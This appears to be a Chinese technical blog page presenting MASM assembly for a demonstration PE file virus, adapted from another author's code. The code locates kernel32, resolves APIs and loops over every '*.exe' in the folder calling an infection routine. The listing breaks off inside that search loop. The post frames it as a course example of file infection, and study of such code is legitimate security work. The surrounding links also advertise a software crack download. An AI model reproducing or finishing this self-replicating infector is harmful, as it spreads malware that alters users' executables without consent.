PE文件病毒感染示例

软件安全基础之PE文件格式 软件安全基础之PE文件格式 值复习《软件安全》这门课之际,PE文件格式可谓是重中之重,在这里,我便结合教材和PPT,对相关知识进行一个小小的梳理。如有不当之处,希望能被指正! 什么是PE文件格式? PE就是Portable Executable,它是Win32可执行文件的标准格式; PE文件格式与恶意软件的关系 文件感染的定义:使目标PE文件具备“或启动”病毒功能,但不破坏目标PE文件原有功能和外在形态(如图标等); 病毒代码与目标PE文件融为一体的途径:代码植入、控制权获取、图标更改。 注:这里的代码植入 阅读详情

;本程序修改自hume的代码,其版权信息如下:

CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                      db "        Thx for using it!",0dh,0ah
                      db "Contact: Humewen@21cn.com",0dh,0ah
                      db "        humeasm.yeah.net",0dh,0ah
                      db "The add Code SiZe:(heX)"

 

 

;------------------------------------------------------------------------------------------------------------------------

;main.asm代码

;-----------------------------------------------------------------------------------------------------------------------

.586 
.model flat, stdcall 
option casemap :none  ; case sensitive 
include windows.inc
include user32.inc
include comctl32.inc 
includelib comctl32.lib
includelib user32.lib
;;-------------- 

GetApiA        proto    :DWORD,:DWORD 

;;-------------- 
  .CODE 
  _Start0:
  invoke InitCommonControls
  jmp __Start
VirusLen        =  vEnd-vBegin                ;Virus 长度 
vBegin: 
;----------------------------------------- 
include s_api.asm                ;查找需要的api地址 
;----------------------------------------- 

fsize          dd ? 
hfile          dd ? 
hMap            dd ? 
pMem            dd ? 
;----------------------------------------- 
pe_Header      dd ? 
sec_align      dd ? 
file_align      dd ? 
newEip          dd ? 
oldEip          dd ? 
oldEipTemp      dd ?
inc_size        dd ? 
oldEnd          dd ?


hFind           dd ?
sFindData       WIN32_FIND_DATA <?>
 
readSize        dd 0
readBuff        db 10 dup(0)
;-----------------------------------------
sFindStr        db "*.exe",0

sMessageBoxA                            db "MessageBoxA",0 

aMessageBoxA                    dd 0 

;;临时变量... 
sztit                   db "病毒演示",0
szMsg                   db "感染此病毒的程序会显示该信息",0dh,0ah 
                        db "同时具有再感染其它程序的功能",0dh,0ah
                        db "病毒代码长度:(HEX)"
val                     dd 0,0,0,0 
;;----------------------------------------- 

__Start:
      call    _gd 
_gd:   
      pop    ebp                            ;得到delta地址 
      sub    ebp,offset _gd                 ;因为在其他程序中基址可能不是默认的所以需要重定位 
      mov    dword ptr [ebp+appBase],ebp    ;呵呵仔细想想 
     
  mov    eax,[esp]                          ;返回地址 
      xor    edx,edx 
getK32Base: 
      dec    eax                            ;逐字节比较验证 
      mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
      test    dx,0f000h                      ;Dos Header+stub不可能太大,超过4096byte 
      jnz    getK32Base                      ;加速检验 
      cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase] 
      jnz    getK32Base                      ;看Image_Base值是否等于ecx即模块起始值, 
      mov    [ebp+k32Base],eax              ;如果是,就认为找到kernel32的Base值 
             lea    edi,[ebp+aGetModuleHandle] 
      lea    esi,[ebp+lpApiAddrs] 
lop_get: 
      lodsd 
      cmp    eax,0 
      jz      End_Get 
      add    eax,ebp 
      push    eax 
      push    dword ptr [ebp+k32Base] 
      call    GetApiA                         
      stosd 
      jmp    lop_get                          ;获得api地址,参见s_api文件                       
End_Get:  
      include dislen.asm
find_start:
      lea    eax,[ebp+sFindData]
      push   eax
      lea    eax,[ebp+sFindStr]
      push   eax
      call   [ebp+aFindFirstFile]
      mov    [ebp+hFind],eax
      cmp    eax,INVALID_HANDLE_VALUE
      je     find_exit
find_next:
     
      call    my_infect
      lea    eax,[ebp+sFindData]
      push   eax
      push   [ebp+hFind]
      call   [ebp+aFindNextFile]
      cmp    eax,0
      jne    find_next
      ;-------

深入解析PE文件病毒感染机制:从原理到实战解毒 本文深入解析PE文件病毒的感染机制,从基本原理到实战解毒技术全面覆盖。详细介绍了PE文件病毒通过感染.exe等可执行文件的三种主要方式,包括添加新节、利用节内空隙和节尾扩展。同时提供了病毒代码的关键技术解析和手工/自动化解毒方法,帮助开发者有效防御PE文件病毒威胁。 阅读详情

相关推荐

PE文件病毒示例程序

很简单的PE文件病毒示例

郁金香由浅入深学习感染pe文件的操作

郁金香由浅入深学习感染pe文件的操作,最好的教程,需要请快下?

HUME

HUME

2019年上交电院计算机直博保研经历

本人选报的是上交六月一日在武汉举办的直博选拔,五月三十一日到达酒店,地点在武汉大学旁边(PS:上交是不管住宿、来回车票的,~划重点~包括夏令营),入住后当然是紧张的准备英语面试等等内容了,当天我是排在了下午面试,感觉还很好,上午可以多睡一会,最好能够去踩踩点上午,然后下午面试一定要早去,说是一点开始,但是老师十二点半就开始让学生进去了,有一个同学排在第二个,但是当时叫到他时还不到一点,没到,最后据...

LifeMaker的博客 4893

AUTOSAR R20-11标准下载!

这是公众号的第2篇推文,粉丝数49 Document Search Classic Platform Adaptive Platform Foundation 文档截图 以为会在明天的发布会之后才上线,没想到官网现在就悄悄放出来了。 中国由于网络问题,下载速度比较慢或者会中断。 “阅读原文”提供多种下载方式,可以在线浏览,可以集中下载也可单个文档下载。 如有增减我也会及时在公众号里通知大家,不过我觉得不会变动了。 整理不宜,好东西要分...

Adaptive_AUTOSAR的博客 1891

python知网爬虫论文pdf下载+立即可用(动态爬虫)

python实现动态爬虫知网论文,搜索+自动翻页+下载 收集数据利器

Braylon的博客 5379

CAN总线错误帧全解析:从数据包到硬件层的故障树分析

本文深入解析CAN总线错误帧的故障树分析方法,从数据包到硬件层全面剖析错误机制。通过物理层信号测试、数据链路层错误解码和应用层协议排查,提供系统化的诊断框架。结合CANoe配置和示波器波形分析,帮助工程师快速定位总线故障,提升系统可靠性。

weixin_26742753的博客 491

DLMS-Blue-Book蓝皮书—曲线类

attribute_index 1 指的是第 1 个属性(即 logical_name),attribute_index 2 指的是第 2 个属性,等等;如果其他“曲线通用类”对象捕获了这个缓冲区,它们的缓冲区也将被清空,以保证它们的缓冲区条目是同质的。如果捕获对象是曲线通用类的缓冲区,则 data_index 标识缓冲区(即列)中的捕获对象(即内部曲线通用类中的列);如果曲线通用类已排序,则调用捕获方法将把新条目存储在缓冲区中的适当位置,移动所有后续条目,并可能丢失最不相关的条目。

一个bug是bug,多个bug能work 1452

STM32 IIC温湿度传感器(STH45)实验

精度 ΔRH = ±1.0 %RH, ΔT = ±0.1 °C• 平均电流:0.4 μA,空闲电流:80 nA• I2C FM、CRC 校验和、乘法。I2C 地址。• 专利保护选项 [1]、PTFE 膜和可拆卸保护盖• 工作范围:0 …100 %相对湿度,−40…125 摄氏度• 在冷凝环境中功能齐全• 动力加热器,真正的NIST可追溯性• JEDEC JESD47 认证 • 符合 ISO 17025 : 2017 的传感器专用校准证书,3 点温度校准。

baidu_34971492的博客 3072

AUTOSAR 3万字面试题全面解析(持续更新)

ECU抽象层(EAL)是AUTOSAR架构中的一部分,它位于微控制器抽象层(MCAL)之下,但通常与MCAL一起被提及。EAL的目标是提供一个统一的接口来访问和管理ECU(Electronic Control Unit,电子控制单元)的硬件资源,包括处理器、存储器和外围设备。通过这种抽象,EAL使得上层软件能够以一种标准化的方式与ECU硬件交互,而不需要关心具体的硬件实现细节。EAL解决了硬件异构性带来的问题,即不同ECU可能采用不同类型的处理器和硬件配置。

大模型大数据攻城狮的专栏 5609

YOLOv8安防监控实战:跌倒/闯入/徘徊实时检测(附TensorRT加速+声光报警部署代码)

精准性:针对跌倒/闯入/徘徊的行为特征优化,准确率达89.3%,误报率低于5次/天;实时性:TensorRT加速到50+FPS,报警延迟<1秒,满足安防“黄金响应时间”;低成本:无需专用AI芯片,RTX 3060或Jetson Orin就能跑,硬件成本比传统方案低60%;易部署:代码全开源,提供从模型训练到硬件联动的完整流程,2天即可搭起原型系统。如果你的安防监控还在“漏报误报”“响应慢”,建议先从跌倒检测的姿态过滤改起——用100张样本测试,再集成TensorRT加速,90%能看到明显改善。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 680

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

上一篇: 病毒常用技术之远程线程
下一篇: 整天工作的人为何当不了富翁
long_xing
博客等级 码龄22年 5粉丝 6原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值